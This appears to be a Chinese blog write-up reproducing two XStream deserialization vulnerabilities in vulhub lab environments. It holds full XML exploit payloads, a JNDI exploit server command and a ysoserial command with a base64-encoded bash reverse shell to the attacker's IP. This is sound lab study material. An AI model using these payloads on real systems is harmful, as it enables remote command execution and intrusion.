vulhub漏洞复现75_XStream

一、 CVE-2021-21351_XStream 反序列化命令执行漏洞

前言

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

漏洞详情

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用`javax.naming.ldap.Rdn$RdnEntry`及`javax.sql.rowset.BaseRowSet`构造JNDI注入,进而执行任意命令。

参考链接:

- https://x-stream.github.io/CVE-2021-21351.html

- https://paper.seebug.org/1543/

- https://www.veracode.com/blog/research/exploiting-jndi-injections-java

- https://github.com/welk1n/JNDI-Injection-Exploit/

漏洞环境

靶场:192.168.4.10_ubuntu

攻击机:192.168.4.29_kali

执行如下命令启动一个Springboot + XStream 1.4.15的环境:

#docker-compose up -d

环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:

 

漏洞复现

由于目标环境Java版本高于8u191,故我们需要借助[这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)中给出的方法,使用`org.apache.naming.factory.BeanFactory`加EL表达式注入的方式来执行任意命令。

1. 使用[这个工具](https://github.com/welk1n/JNDI-Injection-Exploit/)启动恶意JNDI服务器:

```

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.142

```

 

2. 使用上图中基于SpringBoot利用链的RMI地址作为`<dataSource>`的值,构造POC如下:

```

POST / HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: application/xml

Content-Length: 3184

<sorted-set>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>ysomap</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>

      <m__DTMXRTreeFrag>

        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>

          <m__size>-10086</m__size>

          <m__mgrDefault>

            <__overrideDefaultParser>false</__overrideDefaultParser>

            <m__incremental>false</m__incremental>

            <m__source__location>false</m__source__location>

            <m__dtms>

              <null/>

            </m__dtms>

            <m__defaultHandler/>

          </m__mgrDefault>

          <m__shouldStripWS>false</m__shouldStripWS>

          <m__indexing>false</m__indexing>

          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>

            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>

              <javax.sql.rowset.BaseRowSet>

                <default>

                  <concurrency>1008</concurrency>

                  <escapeProcessing>true</escapeProcessing>

                  <fetchDir>1000</fetchDir>

                  <fetchSize>0</fetchSize>

                  <isolation>2</isolation>

                  <maxFieldSize>0</maxFieldSize>

                  <maxRows>0</maxRows>

                  <queryTimeout>0</queryTimeout>

                  <readOnly>true</readOnly>

                  <rowSetType>1004</rowSetType>

                  <showDeleted>false</showDeleted>

                  <dataSource>rmi://evil-ip:1099/example</dataSource>

                  <listeners/>

                  <params/>

                </default>

              </javax.sql.rowset.BaseRowSet>

              <com.sun.rowset.JdbcRowSetImpl>

                <default/>

              </com.sun.rowset.JdbcRowSetImpl>

            </fPullParserConfig>

            <fConfigSetInput>

              <class>com.sun.rowset.JdbcRowSetImpl</class>

              <name>setAutoCommit</name>

              <parameter-types>

                <class>boolean</class>

              </parameter-types>

            </fConfigSetInput>

            <fConfigParse reference='../fConfigSetInput'/>

            <fParseInProgress>false</fParseInProgress>

          </m__incrementalSAXSource>

          <m__walker>

            <nextIsRaw>false</nextIsRaw>

          </m__walker>

          <m__endDocumentOccured>false</m__endDocumentOccured>

          <m__idAttributes/>

          <m__textPendingStart>-1</m__textPendingStart>

          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>

          <m__pastFirstElement>false</m__pastFirstElement>

        </m__dtm>

        <m__dtmIdentity>1</m__dtmIdentity>

      </m__DTMXRTreeFrag>

      <m__dtmRoot>1</m__dtmRoot>

      <m__allowRelease>false</m__allowRelease>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>ysomap</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XString'>

      <m__obj class='string'>test</m__obj>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

</sorted-set>

```

 

特别注意,evil-ip是恶意RMI(非执行后地址,实际为.jar地址,本次在192.168.4.29_kali上执行,则rmi地址为192.168.4.29)服务器的地址。然后,进入目标容器内,可见``touch /tmp/success``已成功执行:

 在实战中,如果目标Java版本较低,POC需要做修改,将其中的`<__overrideDefaultParser>false</__overrideDefaultParser>`改成`<__useServicesMechanism>false</__useServicesMechanism>`即可。

二、 CVE-2021-29505_XStream 反序列化命令执行漏洞

漏洞详情

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用`sun.rmi.registry.RegistryImpl_Stub`构造RMI请求,进而执行任意命令。

参考链接:

- [https://x-stream.github.io/CVE-2021-29505.html][1]

- https://paper.seebug.org/1543/

漏洞环境

执行如下命令启动一个Springboot + XStream 1.4.16的环境:

#docker-compose up -d

环境启动后,我们向`http://your-ip:8080`发送一个正常的XML数据包,将会得到预期返回:

漏洞复现

1.作为攻击者,我们在自己的服务器上使用[ysoserial](https://github.com/frohoff/ysoserial)的JRMPListener在4444端口启动一个恶意的RMI Registry:

```

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}"

```

这个RMI Registry在收到请求后,会返回用CommonsCollections6利用链构造的恶意序列化对象。

2. 然后,我们向目标服务器发送CVE-2021-29505的XML POC:

```

POST / HTTP/1.1

Host: your-ip

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Connection: close

Content-Type: application/xml

Content-Length: 3169

<java.util.PriorityQueue serialization='custom'>

    <unserializable-parents/>

    <java.util.PriorityQueue>

        <default>

            <size>2</size>

        </default>

        <int>3</int>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.org.apache.xpath.internal.objects.XString'>

                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>

                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>

                    <parsedMessage>true</parsedMessage>

                    <soapVersion>SOAP_11</soapVersion>

                    <bodyParts/>

                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>

                        <attachmentsInitialized>false</attachmentsInitialized>

                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>

                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>

                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>

                                    <names>

                                        <string>aa</string>

                                        <string>aa</string>

                                    </names>

                                    <ctx>

                                        <environment/>

                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>

                                            <java.rmi.server.RemoteObject>

                                                <string>UnicastRef</string>

                                                <string>evil-ip</string>

                                                <int>1099</int>

                                                <long>0</long>

                                                <int>0</int>

                                                <long>0</long>

                                                <short>0</short>

                                                <boolean>false</boolean>

                                            </java.rmi.server.RemoteObject>

                                        </registry>

                                        <host>evil-ip</host>

                                        <port>1099</port>

                                    </ctx>

                                </candidates>

                            </aliases>

                        </nullIter>

                    </sm>

                </message>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

    </java.util.PriorityQueue>

</java.util.PriorityQueue>

```

 

其中,evil-ip是恶意RMI服务器的地址。恶意RMI服务器收到RMI请求,触发

 3.  监听成功反弹shell

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值